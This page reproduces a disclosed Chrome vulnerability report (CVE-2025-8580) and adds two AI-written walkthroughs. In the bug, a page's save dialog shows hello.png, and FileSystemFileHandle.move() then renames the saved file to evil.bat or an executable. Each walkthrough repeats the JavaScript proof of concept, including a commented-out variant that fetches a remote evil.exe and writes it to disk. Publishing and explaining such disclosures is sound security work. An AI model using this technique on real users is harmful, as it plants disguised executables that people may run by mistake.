Skip to content
File upload Advisory Intermediate CVE-2025-8580

Inappropriate implementation in Filesystems (CVE-2025-8580)

The FileSystemFileHandle.move method allowed a file to be moved to a well-known directory after the user approved a save with a different name and type. An attacker could trick a user into saving a malicious executable or script that appears as a harmless image.

Huuuuu Follow

Originally disclosed on Chrome VRP

Bounty$2,000 Low View original
  • Fix shipped in 4 months

Steps to reproduce the problem

On any HTTPS page, try the following JS code. It should correctly display a file save dialog prompt, asking you to save a file named hello.png. When you click "OK," an evil.bat file will actually be generated in the actual directory.

try {
    // 1. Call showSaveFilePicker()
    const fileHandle = await window.showSaveFilePicker({
        suggestedName: `hello`,
        startIn: "desktop",
        // Filename prompt visible to the user
        types: [{
            description: [`ImageFile`],
            accept: {
                'image/png': ['.png']
            },
        }, ],
    });
    // 2. Get the FileSystemWritableFileStream
    const writableStream = await fileHandle.createWritable();
    // 3.1 Write malicious file data to download, saved as exe
    // const evilFile = await fetch(`evil.exe`)
    // await evilFile.body.pipeTo(writableStream)
    // fileHandle.move("evil.exe")
    // 3.2 Or write custom content and close the stream, e.g., .bat
    await writableStream.write(new TextEncoder().encode(`calc`));
    await writableStream.close();
    fileHandle.move("evil.bat")
} catch (error) {
    console.log(error)
}

Problem Description

In Chrome versions 112.0.5580.0 to 137.0.7115.0 (the latest Cannry release), after a user confirms a save via window.showSaveFilePicker, invoking the move method on the resulting FileSystemFileHandle object can download certain sensitive files under attacker control into “well known directories” (["desktop", "documents", "downloads", "music", "pictures", "videos"]). If the "desktop" is selected and the user does not change the save location, downloading a file like "Google Chrome.exe" or a similarly deceptive file designed to mimic a desktop shortcut could have a real impact on the user.

After a period of investigation, I have seemingly pinpointed the original commit that introduced the issue. By testing various versions of Chromium on the dev channel, I obtained the following results (The following versions were tested on Winx64.):

  • 112.0.5572.0 – Not working, position: 1099442
  • 112.0.5580.0 – Working, position: 1101520
  • 112.0.5592.0 – Working, position: 1104296
  • 112.0.5608.0 – Working, position: 1107400

This localizes the problematic change to somewhere between positions 1101520 and 1099442. By searching the history of changes regarding file_system_access for versions 112.0.5572.0 to 112.0.5580.0, I examined the URL:
https://source.chromium.org/chromium/chromium/src/+/refs/tags/112.0.5580.0:third_party/blink/renderer/modules/file_system_access/;bpv=1;bpt=0

I found several suspicious related commit histories:

6ad1f40 [email protected] 2023-02-04 05:07 FSA: Re-use the same task runner for each SAH.write()
c735f76 [email protected] 2023-01-25 11:24 FSA: Point SyncAccessHandle idl comment to spec
02799cd [email protected] 2023-01-19 00:30 FSA: Implement a cursor for SyncAccessHandles
7cd323e [email protected] 2023-01-18 02:58 [FSA] Clean up the deprecated code for async SyncAccessHandle interface.
56c5a8d [email protected] 2023-01-18 01:18 [FSA] Remove enterprise policy for deprecating async SyncAccessHandle interface.

Among these, the most likely commit is:

6ad1f40 [email protected] 2023-02-04 05:07

FSA: Re-use the same task runner for each SAH.write()

Currently, we create a new task runner for every write operation. This
is wasteful and hurts performance.

Also removes a task runner member that was used for async operations,
back when that was a thing.

Bug: https://bugs.chromium.org/p/chromium/issues/detail?id=1406246
Change-Id: I94ff69f023f0db60724659b0236710a09e8f132b
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4219170
Reviewed-by: Daseul Lee <[email protected]>
Commit-Queue: Austin Sullivan <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1101185}

This commit seems to be the most likely cause of the issue.

Additional Comments

The following versions were tested on Winx64.

  • 112.0.5572.0 – Not working, position: 1099442

  • 112.0.5580.0 – Working, position: 1101520

  • 112.0.5592.0 – Working, position: 1104296

  • 112.0.5608.0 – Working, position: 1107400

  • 135.0.7049.86 works

  • 134.0.6998.89 works

Summary

A vulnerability in FileSystemFileHandle.move bypasses download restrictions.

Custom Questions

Type of crash:

Crash state:

Reporter credit:

Additional Data

Category: Security
Chrome Channel: Canary
Regression: Yes

The original report as published on the Chromium issue tracker, by Huuuuu. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

Chrome's File System Access API lets a web page ask the user, through a native picker, where to save a file. window.showSaveFilePicker() returns a FileSystemFileHandle, and the page can then obtain a FileSystemWritableFileStream from it with createWritable() and write content that ends up in the location the user chose. The handle also exposes a move() method, which renames the file.

The report describes a bug in that move() path: after the user confirms a save, the page can rename the file to something other than what the picker showed, including an executable extension, in a well-known directory. The affected component is listed as Filesystems, the weakness as inappropriate implementation, and the issue was tracked as CVE-2025-8580 through the Chrome VRP with a 2,000 USD reward. It was disclosed on 5 August 2025 and rated low severity.

Setup

The reproduction needs nothing beyond a browser and a page served over HTTPS. The researcher tested on Windows x64, on the dev channel and on Canary builds. The versions used to bracket the regression are:

Version Result Position
112.0.5572.0 Not working 1099442
112.0.5580.0 Working 1101520
112.0.5592.0 Working 1104296
112.0.5608.0 Working 1107400

Later builds were also checked: 134.0.6998.89 and 135.0.7049.86 both work. The problem description states the behaviour is present from 112.0.5580.0 through 137.0.7115.0, the latest Canary release at the time of writing.

The precondition is a user who accepts the save dialog without changing the suggested location. The report notes that if desktop is selected and the user does not change the save location, the outcome is the one described below.

Finding it

The prompt is built from the suggestedName and the types entry passed to showSaveFilePicker(), so it can be made to look like an image save. The move() call that follows the write changes the name after the user's confirmation, so the extension the user sees is not the extension the file ends up with.

To locate the change that introduced the behaviour, the researcher compared Chromium builds around the 112 dev channel and narrowed the regression to somewhere between positions 1099442 and 1101520. Searching the history of third_party/blink/renderer/modules/file_system_access/ for that range turned up several commits:

Text
6ad1f40 [redacted] 2023-02-04 05:07 FSA: Re-use the same task runner for each SAH.write()
c735f76 [redacted] 2023-01-25 11:24 FSA: Point SyncAccessHandle idl comment to spec
02799cd [redacted] 2023-01-19 00:30 FSA: Implement a cursor for SyncAccessHandles
7cd323e [redacted] 2023-01-18 02:58 [FSA] Clean up the deprecated code for async SyncAccessHandle interface.
56c5a8d [redacted] 2023-01-18 01:18 [FSA] Remove enterprise policy for deprecating async SyncAccessHandle interface.

The researcher identified 6ad1f40 as the most likely cause, with the following message:

Text
6ad1f40 [redacted] 2023-02-04 05:07

FSA: Re-use the same task runner for each SAH.write()

Currently, we create a new task runner for every write operation. This
is wasteful and hurts performance.

Also removes a task runner member that was used for async operations,
back when that was a thing.

Bug: https://bugs.chromium.org/p/chromium/issues/detail?id=1406246
Change-Id: [redacted]
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4219170
Reviewed-by: Daseul Lee <[redacted]>
Commit-Queue: Austin Sullivan <[redacted]>
Cr-Commit-Position: refs/heads/main@{#1101185}

The commit is about task runner reuse for SAH.write(), not about move(), so the link between it and the observed behaviour is the researcher's inference from the version bisection rather than something demonstrated in the report.

Exploitation

Step 1: open a save dialog that looks like an image save

On any HTTPS page, the following script is run. The picker is configured with suggestedName set to hello, startIn set to desktop, and a single accepted type of image/png with the .png extension, so the prompt asks the user to save a file named hello.png.

JavaScript
try {
    // 1. Call showSaveFilePicker()
    const fileHandle = await window.showSaveFilePicker({
        suggestedName: `hello`,
        startIn: "desktop",
        // Filename prompt visible to the user
        types: [{
            description: [`ImageFile`],
            accept: {
                'image/png': ['.png']
            },
        }, ],
    });

Step 2: obtain a writable stream

Once the user confirms, the handle is used to create a writable stream:

JavaScript
    // 2. Get the FileSystemWritableFileStream
    const writableStream = await fileHandle.createWritable();

Step 3: write content and rename the file

The report gives two variants. The first, left commented out in the code, would fetch a remote executable and pipe its body into the stream, then move the handle to evil.exe:

JavaScript
    // 3.1 Write malicious file data to download, saved as exe
    // const evilFile = await fetch(`evil.exe`)
    // await evilFile.body.pipeTo(writableStream)
    // fileHandle.move("evil.exe")

The second, which is the one actually executed, writes the text calc and closes the stream, then moves the handle to evil.bat:

JavaScript
    // 3.2 Or write custom content and close the stream, e.g., .bat
    await writableStream.write(new TextEncoder().encode(`calc`));
    await writableStream.close();
    fileHandle.move("evil.bat")
} catch (error) {
    console.log(error)
}

The result is that the user sees a prompt for hello.png, clicks OK, and an evil.bat file is generated in the actual directory. The move() call is what changes the name after the user's confirmation, and the report states that this bypasses download restrictions.

Root cause

The report attributes the behaviour to FileSystemFileHandle.move and describes it as an inappropriate implementation that bypasses download restrictions. The mechanism, as presented, is that the name confirmed in the picker is not binding: the handle can be moved to a different name, including a different extension, after the write completes.

The researcher's bisection points at commit 6ad1f40, which reworks task runner handling for SAH.write(). The report does not explain the code path by which that change would affect move(), so the causal link should be treated as likely rather than established.

Impact

An attacker who can get a victim to accept the save dialog can place a file with an attacker-chosen name and extension into one of the well-known directories: desktop, documents, downloads, music, pictures or videos. The report highlights the desktop case: if the user does not change the save location, a file such as Google Chrome.exe, or a similarly deceptive file designed to mimic a desktop shortcut, could have a real impact on the user. The content written is chosen by the page, either fetched from a remote URL or generated in the page.

The impact depends on the user confirming the save and leaving the suggested location unchanged. The platform rates the issue low severity.

Fix

The report does not describe a fix or a code change that resolved the issue. What it establishes is the regression range and the suspected commit, which is the input a fix would need:

Variants to test

  1. Try move() with a name in a different well-known directory than the one passed in startIn, and check whether the file lands outside the directory the user saw in the prompt.
  2. Try move() to a name with an executable or script extension while the picker advertises an image type, and check whether the prompt still shows the image name.
  3. Try the same sequence with suggestedName containing a full name with extension, and check whether the extension shown in the prompt matches the file created after move().
  4. Try the fetch-and-pipe variant against a remote payload, and check whether the downloaded bytes are written intact before the rename.
  5. Repeat the sequence on other Chromium-based browsers and on the platform versions listed above, and check whether the rename is rejected or the prompt is updated to reflect the new name.

A positive result in each case is a file on disk whose name or extension differs from what the save dialog displayed, or a file created in a directory the user did not choose.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

A web page in Chrome can ask you where to save a file. Chrome shows a small dialog, you pick a place, you click OK, and the file is saved. That is a normal, useful feature.

The bug is that after you click OK, the page can quietly rename the file to something else. You think you are saving a picture called hello.png. What actually lands on your computer is a file called evil.bat, which is a script that Windows can run. The file can end up in one of the well-known folders, including your Desktop, Documents, Downloads, Music, Pictures or Videos folder.

Why does that matter? Because a file on your Desktop with a familiar-looking name, such as something pretending to be a Chrome shortcut, is easy to double-click by accident. If the page also controls what is inside the file, then double-clicking it can run that content.

This was tracked as CVE-2025-8580 in Google Chrome's bug bounty programme, the Chrome VRP. The researcher is credited as Huuuuu, the reward was 2,000 USD, the severity was rated low, and it was disclosed on 5 August 2025. The affected component is listed as Filesystems and the weakness as inappropriate implementation.

The feature involved

Chrome has a set of tools that let a website work with files on your computer. In programming, a set of tools like this is called an API (application programming interface). Think of it as a counter at a shop: you can ask for certain things through the counter, and the shop decides what it will and will not hand over. The File System Access API is that counter for files.

Three pieces of it matter here:

  1. window.showSaveFilePicker() shows the save dialog. The page tells Chrome a suggested file name and a suggested file type, and Chrome shows those to you. If you accept, the page gets back a handle, which is a small object that represents the file you agreed to save. You can think of the handle as a claim ticket: it does not contain the file, it just points at it.
  2. createWritable() on that handle gives the page a stream, a channel it can push file contents into. A stream is like a pipe: you pour data in at one end and it comes out at the other, in this case into the file on disk.
  3. move() on the handle renames the file. This is the part with the bug.

The report's point is that the name you approve in the dialog is not the name the file has to keep. After the write finishes, the page can call move() and give the file a different name, including a different extension.

Setting up

You do not need any special tools to reproduce this. You need a browser and a page served over HTTPS, which is the encrypted version of the web (the padlock in the address bar). The researcher tested on Windows x64, on Chrome's dev channel and on Canary builds. Canary is the very early, experimental version of Chrome that gets changes before everyone else.

To find out when the bug appeared, the researcher tried several older versions of Chromium (the open-source project Chrome is built from) and noted whether the trick worked. Each build also has a position number, which is the order in which changes were added to the project. The results were:

Version Result Position
112.0.5572.0 Not working 1099442
112.0.5580.0 Working 1101520
112.0.5592.0 Working 1104296
112.0.5608.0 Working 1107400

Two later builds were also checked: 134.0.6998.89 and 135.0.7049.86 both work. The report says the behaviour is present from 112.0.5580.0 through 137.0.7115.0, the latest Canary release at the time of writing.

The one condition for the attack is that the user accepts the save dialog without changing the suggested location. If the dialog opens on the Desktop and you just click OK, the file goes to the Desktop with whatever name the page chooses.

Finding it

The dialog is built from two things the page supplies: suggestedName, the name you see, and types, the file type you see. Both can be set to make the dialog look like an ordinary image save. The move() call happens after the write, and the dialog knows nothing about it, so the extension you saw is not the extension the file ends up with.

To find the change that introduced the behaviour, the researcher compared Chromium builds around the 112 dev channel. The bug was absent at position 1099442 and present at position 1101520, so the cause had to be somewhere in between. Searching the history of the folder third_party/blink/renderer/modules/file_system_access/ for that range turned up several commits. A commit is a single recorded change to the source code, with a message explaining it.

Text
6ad1f40 [redacted] 2023-02-04 05:07 FSA: Re-use the same task runner for each SAH.write()
c735f76 [redacted] 2023-01-25 11:24 FSA: Point SyncAccessHandle idl comment to spec
02799cd [redacted] 2023-01-19 00:30 FSA: Implement a cursor for SyncAccessHandles
7cd323e [redacted] 2023-01-18 02:58 [FSA] Clean up the deprecated code for async SyncAccessHandle interface.
56c5a8d [redacted] 2023-01-18 01:18 [FSA] Remove enterprise policy for deprecating async SyncAccessHandle interface.

Each line is one commit: a short identifier, the author's email address, the date and time, and the one-line summary. The researcher picked out 6ad1f40 as the most likely cause. Its full message is:

Text
6ad1f40 [redacted] 2023-02-04 05:07

FSA: Re-use the same task runner for each SAH.write()

Currently, we create a new task runner for every write operation. This
is wasteful and hurts performance.

Also removes a task runner member that was used for async operations,
back when that was a thing.

Bug: https://bugs.chromium.org/p/chromium/issues/detail?id=1406246
Change-Id: [redacted]
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4219170
Reviewed-by: Daseul Lee <[redacted]>
Commit-Queue: Austin Sullivan <[redacted]>
Cr-Commit-Position: refs/heads/main@{#1101185}

Line by line: the first line is the commit identifier, author and date. The next paragraph is the title. The paragraph after that explains the change: instead of creating a new task runner for every write, the code reuses one. A task runner is a small internal worker that carries out a job in the background; making a fresh one for every write was wasteful and slow. The next paragraph says the change also removes a leftover piece of code that was only needed for an older style of operation. The remaining lines are bookkeeping: a link to the related bug, a change identifier, a link to the code review where the change was approved, the reviewer, the person who queued it, and the position number 1101185 where it landed.

One thing to be careful about: this commit is about reusing a task runner for SAH.write(), not about move(). The report does not explain how that change would affect move(). So the link between the commit and the bug is the researcher's inference from the version testing, not something the report demonstrates.

Exploitation

Step 1: open a save dialog that looks like an image save

On any HTTPS page, the following script is run. The picker is set up with suggestedName of hello, startIn of desktop, and a single accepted type of image/png with the .png extension, so the dialog asks you to save a file called hello.png.

JavaScript
try {
    // 1. Call showSaveFilePicker()
    const fileHandle = await window.showSaveFilePicker({
        suggestedName: `hello`,
        startIn: "desktop",
        // Filename prompt visible to the user
        types: [{
            description: [`ImageFile`],
            accept: {
                'image/png': ['.png']
            },
        }, ],
    });

Line by line:

  • try { starts a block where errors are caught instead of stopping the script. If anything inside fails, the catch at the end handles it.
  • const fileHandle = await window.showSaveFilePicker({ ... }); opens the save dialog and waits for the user's answer. await means "pause here until the user has decided". The result, the handle, is stored in fileHandle.
  • suggestedName: hello`` is the name pre-filled in the dialog. Chrome adds the extension from the type list, so the user sees hello.png.
  • startIn: "desktop" asks Chrome to open the dialog in the Desktop folder.
  • types: [{ description: [ImageFile], accept: { 'image/png': ['.png'] } }] describes the file type shown in the dialog: a description of ImageFile and an accepted type of image/png with the .png extension. This is what makes the dialog look like an image save.

Step 2: obtain a writable stream

Once the user confirms, the handle is used to create a stream the page can write into:

JavaScript
    // 2. Get the FileSystemWritableFileStream
    const writableStream = await fileHandle.createWritable();

createWritable() asks the handle for a channel to write file contents. The result is stored in writableStream. Nothing has been written yet; the page now has a pipe connected to the file the user approved.

Step 3: write content and rename the file

The report gives two variants. The first is left commented out in the code. It would download a remote executable and pipe its contents into the stream, then rename the handle to evil.exe:

JavaScript
    // 3.1 Write malicious file data to download, saved as exe
    // const evilFile = await fetch(`evil.exe`)
    // await evilFile.body.pipeTo(writableStream)
    // fileHandle.move("evil.exe")

Because every line starts with //, none of it runs; it is there to show the idea. fetch() would download a file from a URL. pipeTo() would connect the downloaded data straight into the writable stream, so the bytes land in the file without the page holding them all in memory. move() would then rename the file to evil.exe.

The second variant is the one actually executed. It writes the text calc and closes the stream, then renames the handle to evil.bat:

JavaScript
    // 3.2 Or write custom content and close the stream, e.g., .bat
    await writableStream.write(new TextEncoder().encode(`calc`));
    await writableStream.close();
    fileHandle.move("evil.bat")
} catch (error) {
    console.log(error)
}

Line by line:

  • new TextEncoder().encode(calc) turns the text calc into bytes, because files store bytes, not text.
  • await writableStream.write(...) writes those bytes into the file.
  • await writableStream.close() finishes the write and closes the pipe.
  • fileHandle.move("evil.bat") renames the file to evil.bat. This is the step that changes the name after the user already agreed to hello.png.
  • } catch (error) { console.log(error) } catches any error and prints it to the browser console, so the script fails quietly rather than stopping.

The result: the user sees a dialog for hello.png, clicks OK, and an evil.bat file is created in the actual directory. The move() call is what changes the name after the user's confirmation, and the report states that this bypasses download restrictions.

Root cause

The report puts the behaviour down to FileSystemFileHandle.move and calls it an inappropriate implementation that bypasses download restrictions. In plain terms, the name you approve in the dialog is not binding. The handle can be moved to a different name, including a different extension, after the write finishes.

The version testing points at commit 6ad1f40, which reworks task runner handling for SAH.write(). The report does not explain the code path by which that change would affect move(), so treat the link as likely rather than proven.

Impact

An attacker who can get a victim to accept the save dialog can place a file with a name and extension of the attacker's choosing into one of the well-known folders: desktop, documents, downloads, music, pictures or videos. The report highlights the Desktop case. If the user does not change the save location, a file such as Google Chrome.exe, or a similar deceptive file designed to look like a desktop shortcut, could have a real impact on the user. The contents are chosen by the page, either fetched from a remote URL or generated in the page.

The impact depends on the user confirming the save and leaving the suggested location unchanged. The platform rates the issue low severity.

Fix

What it establishes is the range of versions where the bug appeared and the suspected commit, which is what a fix would need as a starting point:

Variants to test

  1. Try move() with a name in a different well-known folder from the one passed in startIn, and check whether the file lands outside the folder the user saw in the dialog.
  2. Try move() to a name with an executable or script extension while the picker advertises an image type, and check whether the dialog still shows the image name.
  3. Try the same sequence with suggestedName containing a full name with extension, and check whether the extension shown in the dialog matches the file created after move().
  4. Try the fetch-and-pipe variant against a remote payload, and check whether the downloaded bytes are written intact before the rename.
  5. Repeat the sequence on other Chromium-based browsers and on the platform versions listed above, and check whether the rename is rejected or the dialog is updated to reflect the new name.

A positive result in each case is a file on disk whose name or extension differs from what the save dialog displayed, or a file created in a folder the user did not choose.

Glossary

  • API: a set of tools a program offers so other programs can ask it to do things, like a counter at a shop.
  • Bug bounty programme: a scheme where a company pays people for reporting security problems in its software.
  • Canary: an early, experimental build of Chrome that receives changes before the stable release.
  • CVE: a public identifier given to a known security vulnerability so people can refer to it unambiguously.
  • Chrome VRP: Google Chrome's Vulnerability Reward Program, the bug bounty scheme for Chrome.
  • Commit: a single recorded change to a project's source code, with a message explaining it.
  • Dev channel: a Chrome release channel that is newer than stable but older than Canary.
  • Extension: the part of a file name after the dot, such as .png or .bat, which tells the system what kind of file it is.
  • File System Access API: the browser feature that lets a web page ask the user where to save or open a file, and then read or write it.
  • FileSystemFileHandle: the object a page receives after the user picks a file; it points at that file and offers operations such as writing and renaming.
  • FileSystemWritableFileStream: the channel a page writes file contents into.
  • Handle: a small object that represents a file the user has approved, like a claim ticket.
  • HTTPS: the encrypted version of the web, shown by a padlock in the address bar.
  • Inappropriate implementation: a weakness category meaning the feature was built in a way that does not enforce the rules it should.
  • Position: the number that records where a change sits in the order changes were added to the Chromium project.
  • Regression: a bug that did not exist in earlier versions and appeared later.
  • Severity: a rating of how serious a vulnerability is.
  • Stream: a channel for moving data piece by piece, like a pipe.
  • Task runner: an internal worker that carries out a background job.
  • Well-known directories: the standard user folders such as Desktop, Documents, Downloads, Music, Pictures and Videos.
  • Windows x64: the 64-bit version of Windows.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Unrestricted file upload

The lesson behind this report.

An upload feature accepts a file that the server or other users' browsers then treat as code or as something trusted.